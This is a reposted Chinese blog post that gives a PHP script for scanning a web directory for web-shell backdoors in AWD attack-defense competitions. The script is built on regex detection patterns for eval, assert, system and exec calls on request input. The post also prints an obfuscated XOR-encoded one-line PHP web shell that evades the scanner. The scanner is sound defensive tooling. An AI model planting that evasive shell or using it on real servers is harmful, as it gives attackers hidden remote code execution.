扫描网站后门脚本(awd可用)

news/2024/5/17 3:03:43/文章来源:https://blog.csdn.net/qq_44657899/article/details/108589945

在awd线下赛的时候,可以用这个脚本来检测有没有一句话木马

脚本如下:

<!DOCTYPE html>
<html>
<head><meta charset='gb2312'><title>PHP web shell scan</title>
</head>
<body></body><?php 
define("SELF",php_self());  
error_reporting(E_ERROR);
ini_set('max_execution_time',20000);
ini_set('memory_limit','512M');
header("content-Type: text/html; charset=gb2312");function weevelyshell($file){$content=file_get_contents($file);if( (preg_match('#(\$\w{2,4}\s?=\s?str_replace\("\w+","","[\w_]+"\);\s?)+#s',$content)&&preg_match('#(\$\w{2,4}\s?=\s?"[\w\d\+\/\=]+";\s?)+#',$content)&&                             preg_match('#\$[\w]{2,4}\s?=\s\$[\w]{2,4}\(\'\',\s?\$\w{2,4}\(\$\w{2,4}\("\w{1,4}",\s?"",\s?\$\w{2,4}\.\$\w{2,4}\.\$\w{2,4}\.\$\w{2,4}\)\)\);\s+?\$\w{2,4}\(\)\;#',$content))||(preg_match('#\$\w+\d\s?=\s?str_replace\(\"[\w\d]+\",\"\",\"[\w\d]+\"\);#s',$content)&&preg_match('#\$\w+\s?=\s?\$[\w\d]+\(\'\',\s?\$[\w\d]+\(\$\w+\(\$\w+\(\"[[:punct:]]+\",\s?\"\",\s?\$\w+\.\$\w+\.\$\w+\.\$\w+\)\)\)\);\s?\$\w+\(\);#s',$content))){return true;}
}function callbackshell($file){$content=file_get_contents($file);if(preg_match('#\$\w+\s?=\s?\$_(?:GET|POST|REQUEST|COOKIE|SERVER)\[.*?\]#is',$content)&&preg_match('#\$\w+\s?=\s?(?:new)?\s?array\w*\s?\(.*?_(?:GET|POST|REQUEST|COOKIE|SERVER)\[.*?\].*?\)+#is',$content)&&preg_match('#(?:array_(?:reduce|map|udiff|walk|walk_recursive|filter)|u[ak]sort)\s?\(.*?\)+?#is',$content))return true;}function php_self(){$php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);return $php_self;
}$matches = array('/mb_ereg_replace\([\'\*\s\,\.\"]+\$_(?:GET|POST|REQUEST|COOKIE|SERVER)\[[\'\"].*?[\'\"][\]][\,\s\'\"]+e[\'\"]'/is,'/preg_filter\([\'\"\|\.\*e]+.*\$_(?:GET|POST|REQUEST|COOKIE|SERVER)/is','/create_function\s?\(.*assert\(/is','/ini_get\(\'safe_mode\'\)/i','/get_current_user\(.*?\)/i','/@?assert\s?\(\$.*?\)/i','/proc_open\s?\(.*?pipe\',\s?\'w\'\)/is','/sTr_RepLaCe\s?\([\'\"].*?[\'\"],[\'\"].*?[\'\"]\s?,\s?\'a[[:alnum:][:punct:]]+?s[[:alnum:][:punct:]]+?s[[:alnum:][:punct:]]+?e[[:alnum:][:punct:]]+?r[[:alnum:][:punct:]]+?t[[:alnum:][:punct:]]+?\)/i','/preg_replace_callback\(.*?create_function\(/is','/filter_var(?:_array)?\s?.*?\$_(?:GET|POST|REQUEST|COOKIE|SERVER)\[[\'\"][[:punct:][:alnum:]]+[\'\"]\][[:punct:][:alnum:][:space:]]+?assert[\'\"]\)/is','/ob_start\([\'\"]+assert[\'\"]+\)/is','/new\s?ReflectionFunction\(.*?->invoke\(/is','/PDO::FETCH_FUNC/','/\$\w+.*\s?(?:=|->)\s?.*?[\'\"]assert[\'\"]\)?/i','/\$\w+->(?:sqlite)?createFunction\(.*?\)/i','/eval\([\"\']?\\\?\$\w+\s?=\s?.*?\)/i','/eval\(.*?gzinflate\(base64_decode\(/i','/copy\(\$HTTP_POST_FILES\[\'\w+\'\]\s?\[\'tmp_name\'\]/i','/register_(?:shutdown|tick)_function\s?\(\$\w+,\s\$_(?:GET|POST|REQUEST|COOKIE|SERVER)\[.*?\]\)/is','/register_(?:shutdown|tick)_function\s?\(?[\'\"]assert[\"\'].*?\)/i','/call_user_func.*?\([\"|\']assert[\"|\'],.*\$_(?:GET|POST|REQUEST|COOKIE|SERVER)\[[\'|\"].*\]\)+/is','/preg_replace\(.*?e.*?\'\s?,\s?.*?\w+\(.*?\)/i','/function_exists\s*\(\s*[\'|\"](popen|exec|proc_open|system|passthru)+[\'|\"]\s*\)/i','/(exec|shell_exec|system|passthru)+\s*\(\s*\$_(\w+)\[(.*)\]\s*\)/i','/(exec|shell_exec|system|passthru)+\s*\(\$\w+\)/i','/(exec|shell_exec|system|passthru)\s?\(\w+\(\"http_.*\"\)\)/i','/(?:john\.barker446@gmail\.com|xb5@hotmail\.com|shopen@aventgrup\.net|milw0rm\.com|www\.aventgrup\.net|mgeisler@mgeisler\.net)/i','/Php\s*?Shell/i','/((udp|tcp)\:\/\/(.*)\;)+/i','/preg_replace\s*\((.*)\/e(.*)\,\s*\$_(.*)\,(.*)\)/i','/preg_replace\s*\((.*)\(base64_decode\(\$/i','/(eval|assert|include|require|include_once|require_once)+\s*\(\s*(base64_decode|str_rot13|gz(\w+)|file_(\w+)_contents|(.*)php\:\/\/input)+/i','/(eval|assert|include|require|include_once|require_once|array_map|array_walk)+\s*\(.*?\$_(?:GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i','/eval\s*\(\s*\(\s*\$\$(\w+)/i','/((?:include|require|include_once|require_once)+\s*\(?\s*[\'|\"]\w+\.(?!php).*[\'|\"])/i','/\$_(\w+)(.*)(eval|assert|include|require|include_once|require_once)+\s*\(\s*\$(\w+)\s*\)/i','/\(\s*\$_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)/i','/(fopen|fwrite|fputs|file_put_contents)+\s*\((.*)\$_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)/i','/echo\s*curl_exec\s*\(\s*\$(\w+)\s*\)/i','/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i','/\$(.*)\s*\((.*)\/e(.*)\,\s*\$_(.*)\,(.*)\)/i','/\$_\=(.*)\$_/i','/\$_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)/i','/\$(\w+)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)/i','/\$(\w+)\s*\(\s*\$\{(.*)\}/i','/\$(\w+)\s*\(\s*chr\(\d+\)/i'
);function antivirus($dir,$exs,$matches) {if(($handle = @opendir($dir)) == NULL) return false;while(false !== ($name = readdir($handle))) {if($name == '.' || $name == '..') continue;$path = $dir.$name;if(strstr($name,SELF)) continue;//$path=iconv("UTF-8","gb2312",$path);if(is_dir($path)) {//chmod($path,0777);/*主要针对一些0111的目录*/if(is_readable($path)) antivirus($path.'/',$exs,$matches);} elseif(strpos($name,';') > -1 || strpos($name,'%00') > -1 || strpos($name,'/') > -1) {echo '特征 <input type="text" style="width:250px;" value="解析漏洞">  '.$path.'<div></div>'; flush(); ob_flush();} else {if(!preg_match($exs,$name)) continue;if(filesize($path) > 10000000) continue;$fp = fopen($path,'r');$code = fread($fp,filesize($path));fclose($fp);if(empty($code)) continue;                     if(weevelyshell($path)){echo '特征 <input type="text" style="width:250px;" value="weevely 加密shell">   '.$path.'<div></div>'; flush(); ob_flush();}elseif(callbackshell($path)){echo '特征 <input type="text" style="width:250px;" value="Callback shell">    '.$path.'<div></div>'; flush(); ob_flush();}foreach($matches as $matche) {$array = array();preg_match($matche,$code,$array);if(!$array) continue;if(strpos($array[0],"\x24\x74\x68\x69\x73\x2d\x3e")) continue;$len = strlen($array[0]);if($len > 6 && $len < 200) {echo '特征 <input type="text" style="width:250px;" value="'.htmlspecialchars($array[0]).'">	'.$path.'<div></div>';flush(); ob_flush(); break;}}unset($code,$array);}}closedir($handle);return true;
}function strdir($str) { return str_replace(array('\\','//','//'),array('/','/','/'),chop($str)); }echo '<form method="POST">';
echo '路径: <input type="text" name="dir" value="'.($_POST['dir'] ? strdir($_POST['dir'].'/') : strdir($_SERVER['DOCUMENT_ROOT'].'/')).'" style="width:398px;"><div></div>';
echo '后缀: <input type="text" name="exs" value="'.($_POST['exs'] ? $_POST['exs'] : '.php|.inc|.phtml').'" style="width:398px;"><div></div>';
echo '操作: <input type="submit" style="width:80px;" value="scan"><div></div>';
echo '</form>';if(file_exists($_POST['dir']) && $_POST['exs']) {$dir = strdir($_POST['dir'].'/');$exs = '/('.str_replace('.','\\.',$_POST['exs']).')/i';echo antivirus($dir,$exs,$matches) ? '</br ><div></div>扫描完毕!' : '</br > <div></div>扫描中断';
}
?>
</html>

创建一个php文件,把代码拷进去,访问即可使用:

在这里插入图片描述

测试了一下

像这种变形的检测不出来,其他的基本都检测得出来

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>

不过可以自己往里面添加正则表达式逐步完善

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_810491.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

asp.net基础网站(我的第一个网站)(现代软件开发技术)

我们选择的软件是vs2019&#xff0c;因为教材过时等等会有很多地方不同&#xff0c;导致浪费了很多宝贵时间&#xff0c;写下这份教程供大家学习。 首先我们随便建个项目&#xff0c;打开vs2019的编程页面&#xff0c;选择工具-获取工具和功能 在这里我们选择修改 选择左上…

java使用HttpURLConnection检索网站时403错误处理方式

java使用HttpURLConnection检索网站时403错误处理方式: 我们通过代码方式访问网站时会报错&#xff1a; 此种情况分2中类型&#xff0c; 1.需要登录才可以访问&#xff1b; 2.需要设置User-Agent来欺骗服务器。 [html] view plaincopyprint? connection.setRequestProperty(&q…

常用网站

常用网站 证书管理 苹果开源代码 http://www.opensource.apple.com/source/ iOS 开发者中心 https://developer.apple.com/devcenter/ios/index.action 苹果申诉——Contact the App Review Team&#xff0d;&#xff0d;https:/…

前端demo工具网站

最近准备好好写博客了&#xff0c;写一系列前端的博客&#xff0c;总结下最近所学。 前端的东西总体来说是比较肤浅的&#xff0c;只是多而繁杂&#xff0c;如果后端的理论能勉强称得上是科学&#xff0c;前端只能说是技术&#xff0c;技巧&#xff0c;没有多少深层次的思维。这…

新手网站渗透思路

一、借助工具 AWVS扫描验证&#xff0c;除了验证还能帮我们学习漏洞。 Sql语句泄露 192.168.3.107/pentest/cms/beecms/article/article.php?id1" Id参数处存在sql语句泄露 Page也是存在sql语句泄露 192.168.3.107/pentest/cms/beecms/article/article.php?id4&…

分享几个做CTF的网站

一、Bugku 算是我用过的比较好用的一个刷题网站&#xff0c;里面有WEB、MISC&#xff08;杂项&#xff09;、Crypto&#xff08;密码&#xff09;、Reverse、PWN的题目。有时还会有AWD复现的比赛。 网址&#xff1a;https://ctf.bugku.com/ 或者百度BugKu 二、CTFHub CTFH…

seo伪原创_什么是SEO文章?seo文章的作用方法

什么是seo文章&#xff1f;宋九九认为seo文章也可以理解为伪原创文章&#xff0c;其实也有seo原创文章这一说法&#xff0c;不过市场上的“seo文章”默认为seo伪原创文章&#xff0c;不论是伪原创还是原创文章&#xff0c;其目的是帮助网站更新内容和关键词排名优化&#xff0c…

Linux操作系统静态网站服务器搭建方法汇总-干货

使用 Apache 服务部署静态网站 本文将完成&#xff1a;基于 httpd 服务程序实用功能的部署实验。包括&#xff1a; &#xff08;1&#xff09;httpd 服务程序的基本安装部署 &#xff08;2&#xff09;网站主页和口令加密认证方式的实现 &#xff08;3&#xff09;基于 IP 地址…

Zhuperb!朱婷登顶知名排球网站年度搜索热度榜

中新网客户端1月15日电 知名排球网站volleywood今日发布2018年综合搜索球员热度排名榜&#xff0c;中国女排队长朱婷力压埃格努、扎伊采夫、博斯科维奇、安德森等球星登顶。volleywood报道页面截图 volleywood表示&#xff0c;作为世界排坛有史以来最成功且获奖最多的运动员之一…

2022最新 免费的PDF转换工具网站推荐=无需注册

由于工作性质的原因&#xff0c;经常需要用到PDF转换工具&#xff0c;但是很多时候&#xff0c;发现使用的PDF转换工具的质量参差不齐&#xff0c;不能满足自己的使用需求&#xff0c;要么转换质量不高&#xff0c;要么需要收费&#xff0c;还死贵&#xff0c;要么就是需要一大…

大数据教程(14.1)网站数据分析(一)

2019独角兽企业重金招聘Python工程师标准>>> 前面一章&#xff0c;介绍了大数据hadoop生态圈中组件Flume、azkaban、sqoop的相关知识&#xff0c;截止目前&#xff0c;大数据离线分析的技术知识基本已经介绍完&#xff08;当然&#xff0c;各组件还有一些其它的替代…

运用Nginx搭建一个简单的个人网站

目录一、目的二、完成步骤1.安装nginx2.设置Nginx3.创建服务器块三、打开网站四、总结五、参考资料一、目的 尽你所学&#xff08;采用html、或CSS、或Javascript等&#xff09;完成一个静态网页&#xff0c;比如制作一个简单的个人介绍网页&#xff0c;至少包含一张图片、一个…

Ubuntu上使用nginx完成一个简单web网站

文章目录一、Ubuntu安装nginx二、编写静态网页三、nginx配置网站四、启动nginx服务五、总结六、参考资料&#xff1a;一、Ubuntu安装nginx 安装命令 apt-get install nginx 查看安装版本 nginx -v 启动nginx service nginx start 打开浏览器&#xff0c;输入IP地址 Ubuntu输入…

60个优秀的免费3D模型下载网站

转自&#xff1a;http://www.360doc.com/content/11/0527/16/930254_119801102.shtml 感谢好友雨星推荐的 CG MODEL 三维模型代表一个3D对象使用一个由各种几何在三维空间实体连接点的集合。 一个免费的3D模型&#xff0c;完全可以节省您的预算和最后期限。 平均来说&#xf…

verilog练习:hdlbits网站上的做题笔记(1)

前言 之前的文章《如何学习verilog&#xff0c;如何快速入门&#xff1f;》中提到了verilog学习&#xff0c;推荐了一个可以练习的网站&#xff1a;hdlbits网站&#xff0c;这篇文章打算自己玩玩这个网站。 1.Getting Started 1.1 Getting Started We want to assign 1 to …

verilog练习:hdlbits网站上的做题笔记(2)

前言 之前的文章《如何学习verilog&#xff0c;如何快速入门&#xff1f;》中提到了verilog学习&#xff0c;推荐了一个可以练习的网站&#xff1a;hdlbits网站&#xff0c;那自己也玩玩这个网站。 今天这篇文章&#xff0c;本来是接着昨天的《verilog练习&#xff1a;hdlbits…

verilog练习:hdlbits网站上的做题笔记(3)

前言 之前的文章《如何学习verilog&#xff0c;如何快速入门&#xff1f;》中提到了verilog学习&#xff0c;推荐了一个可以练习的网站&#xff1a;hdlbits网站&#xff0c;那自己也玩玩这个网站。 这篇文章&#xff0c;是接着《verilog练习&#xff1a;hdlbits网站上的做题笔…

verilog练习:hdlbits网站上的做题笔记(4)

前言 之前的文章《如何学习verilog&#xff0c;如何快速入门&#xff1f;》中提到了verilog学习&#xff0c;推荐了一个可以练习的网站&#xff1a;hdlbits网站&#xff0c;那自己也玩玩这个网站。 这篇文章&#xff0c;是接着《verilog练习&#xff1a;hdlbits网站上的做题笔…

verilog练习:hdlbits网站上的做题笔记(5)

前言 之前的文章《如何学习verilog&#xff0c;如何快速入门&#xff1f;》中提到了verilog学习&#xff0c;推荐了一个可以练习的网站&#xff1a;hdlbits网站&#xff0c;那自己也玩玩这个网站。 这篇文章&#xff0c;是接着《verilog练习&#xff1a;hdlbits网站上的做题笔…

verilog练习:hdlbits网站上的做题笔记(7)!强烈推荐!

前言 之前的文章《如何学习verilog&#xff0c;如何快速入门&#xff1f;》中提到了verilog学习&#xff0c;推荐了一个可以练习的网站&#xff1a;hdlbits网站&#xff0c;那自己也玩玩这个网站。 这篇文章&#xff0c;是接着《verilog练习&#xff1a;hdlbits网站上的做题笔…